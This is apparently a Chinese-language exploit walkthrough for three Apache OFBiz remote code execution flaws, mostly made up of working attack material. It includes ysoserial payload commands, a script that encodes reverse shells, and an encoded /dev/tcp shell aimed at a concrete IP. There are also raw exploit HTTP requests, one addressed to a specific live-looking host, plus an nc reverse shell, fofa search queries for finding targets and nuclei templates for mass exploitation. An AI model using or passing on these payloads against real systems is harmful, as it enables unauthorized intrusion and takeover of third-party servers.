- Apache OfBiz 反序列化命令执行漏洞(CVE-2020-9496)
- 漏洞描述
- 影响版本
- 漏洞复现
- 打开网站
- 使用 ysoserial 的CommonsBeanutils1来生成Payload:
- 此处反弹shell的话需要先将反弹shell命令编码
- yso生成
- 请求包
- 反弹shell成功
- Apache OfBiz 反序列化命令执行漏洞(CVE-2023-49070)
- 漏洞描述
- 影响版本
- 漏洞复现
- 漏洞复现方式与 CVE-2020-9496 相似,只是需要绕过官方对于漏洞的补丁限制。
- 使用 ysoserial 的CommonsBeanutils1来生成Payload:
- 请求包
- 成功在被攻击机创建文件
- nuclei批量验证
- Apache OFBiz 鉴权绕过导致命令执行(CVE-2023-51467)
- 描述
- 影响版本
- fofa语句
- 漏洞复现
- payload
- 反弹shell
- payload
- nuclei批量验证
Apache OfBiz 反序列化命令执行漏洞(CVE-2020-9496)
漏洞描述
Apache OFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新J2EE/XML规范和技术标准,构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。 OFBiz最主要的特点是OFBiz提供了一整套的开发基于Java的web应用程序的组件和工具。包括实体引擎, 服务引擎, 消息引擎, 工作流引擎, 规则引擎等。
其17.12.04版本之前的XMLRPC接口存在一处反序列化漏洞,攻击者利用这个漏洞可以在目标服务器上执行任意命令。
影响版本
Apache OfBiz 17.12.01版本
漏洞复现
打开网站
使用ysoserial的CommonsBeanutils1来生成Payload:
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" | base64 | tr -d "\n"
此处反弹shell的话需要先将反弹shell命令编码
import base64
def encode_command(ip,port):
cmd = "bash -i >/dev/tcp/"+ip+"/"+port+" 0>&1"
encoder = base64.b64encode(cmd.encode("utf-8"))
return "bash -c {echo,"+encoder.decode("utf-8")+"}|{base64,-d}|{bash,-i}"
if __name__ == '__main__':
print(encode_command("IP","端口"))
yso生成
java -jar ysoserial.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+L2Rldi90Y3AvNDcuMTA5LjQ0LjE5NS8yMzQ1IDA+JjE=}|{base64,-d}|{bash,-i}" | base64 | tr -d "\n"
请求包
POST /webtools/control/xmlrpc HTTP/1.1
Host: your-ip
Content-Type: application/xml
Content-Length: 4093
<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
反弹shell成功
Apache OfBiz 反序列化命令执行漏洞(CVE-2023-49070)
漏洞描述
Apache OFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新J2EE/XML规范和技术标准,构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。 OFBiz最主要的特点是OFBiz提供了一整套的开发基于Java的web应用程序的组件和工具。包括实体引擎, 服务引擎, 消息引擎, 工作流引擎, 规则引擎等。
在Apache OFBiz 17.12.03版本及以前存在一处XMLRPC导致的反序列漏洞,官方于后续的版本中对相关接口进行加固修复漏洞,但修复方法存在绕过问题(CVE-2023-49070),攻击者仍然可以利用反序列化漏洞在目标服务器中执行任意命令。
Apache OFBiz官方于18.12.10中彻底删除xmlrpc接口修复该漏洞。
影响版本
Apache OfBiz 18.12.09
漏洞复现
漏洞复现方式与CVE-2020-9496相似,只是需要绕过官方对于漏洞的补丁限制。
使用ysoserial的CommonsBeanutils1来生成Payload:
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" | base64 | tr -d "\n"
请求包
POST /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: your-ip
Content-Type: application/xml
Content-Length: 4093
<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
成功在被攻击机创建文件
nuclei批量验证
id: CVE-2023-49070
info:
name: Apache OFBiz < 18.12.10 - Arbitrary Code Execution
author: your3cho
severity: critical
description: |
Pre-auth RCE in Apache Ofbiz 18.12.09. It's due to XML-RPC no longer maintained still present. This issue affects Apache OFBiz: before 18.12.10.
remediation: Users are recommended to upgrade to version 18.12.10.
reference:
- https://lists.apache.org/thread/jmbqk2lp4t4483whzndp5xqlq4f3otg3
- https://seclists.org/oss-sec/2023/q4/257
- https://twitter.com/Siebene7/status/1731870759130427726
- https://nvd.nist.gov/vuln/detail/CVE-2023-49070
- https://issues.apache.org/jira/browse/OFBIZ-12812
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-49070
cwe-id: CWE-94
epss-score: 0.437
epss-percentile: 0.97007
cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: apache
product: ofbiz
shodan-query: html:"OFBiz"
fofa-query: app="Apache_OFBiz"
tags: seclists,cve,cve2023,apache,ofbiz,deserialization,rce
http:
- raw:
- |
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
<?xml version="1.0"?>
<methodCall>
<methodName>{{randstr}}</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">{{generate_java_gadget("dns", "http://{{interactsh-url}}", "base64")}}</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: word
part: body
words:
- '<name>faultString</name>'
Apache OFBiz 鉴权绕过导致命令执行(CVE-2023-51467)
描述
该系统的身份验证机制存在缺陷,可能允许未授权用户通过绕过标准登录流程来获取后台访问权限。此外,在处理特定数据输入时,攻击者可构造恶意请求绕过身份认证,利用后台相关接口功能执行groovy代码,导致远程代码执行。
影响版本
Apache Ofbiz < 18.12.11
fofa语句
cert="Organizational Unit: Apache OFBiz" || (body="www.ofbiz.org" && body="/images/ofbiz_powered.gif") || header="Set-Cookie: OFBiz.Visitor" || banner="Set-Cookie: OFBiz.Visitor"
漏洞复现
payload
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 1.214.41.74:18087
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
groovyProgram=throw+new+Exception('id'.execute().text);
反弹shell
payload
nc -c bash IP 端口
nuclei批量验证
id: Apache-OFBiz-ProgramExport-rce
info:
name: Apache-OFBiz-ProgramExport-rce
author: changge
severity: info
description: description
reference:
- https://
tags: tags
requests:
- raw:
- |-
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
groovyProgram=throw+new+Exception('id'.execute().text);
matchers-condition: and
matchers:
- type: word
part: body
words:
- .Exc
- type: status
status:
- 200